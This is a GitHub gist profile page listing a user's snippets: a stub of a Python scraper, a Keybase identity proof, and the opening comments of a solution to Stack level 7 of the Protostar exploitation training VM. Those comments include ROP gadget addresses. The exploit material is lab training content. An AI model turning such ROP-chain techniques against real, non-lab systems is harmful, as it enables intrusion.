Skip to content

Instantly share code, notes, and snippets.

View TsarFox's full-sized avatar

Jakob TsarFox

View GitHub Profile
#!/usr/bin/env python3
import pprint
import re
import sys
import requests
def sauce_rank(board: str, thread: str) -> dict:
@TsarFox
TsarFox / stack7.py
Created March 10, 2017 21:53
Solution to Stack level 7 from exploit-exercises Protostar.
#!/usr/bin/env python
## The following is a solution to Stack level 7 from exploit-exercises.com Protostar.
## In theory, this would work even in an environment where ASLR is enabled.
## Also, the comments on ROPCHAIN_4 are incorrect. It adds to %eax, not %esi and therefore does nothing useful.
## I haven't removed it because without it the stack gets pushed back and some less-benign instructions get executed.
# ROPCHAIN AS FOLLOWS:
# 0x080485c6 : popl %esi ; popl %edi ; popl %ebp ; ret
# 0x080485e2 : pushl %esp ; xchgl %esi, %eax ; addb $8, %al ; nop ; subl $4, %ebx ; calll %eax

Keybase proof

I hereby claim:

  • I am tsarfox on github.
  • I am tsarfox (https://keybase.io/tsarfox) on keybase.
  • I have a public key ASCpe2mg9EKIBgyTX7w_wLSSwLjB3LPQKwZCcm-s1wG9hgo

To claim this, I am signing this object: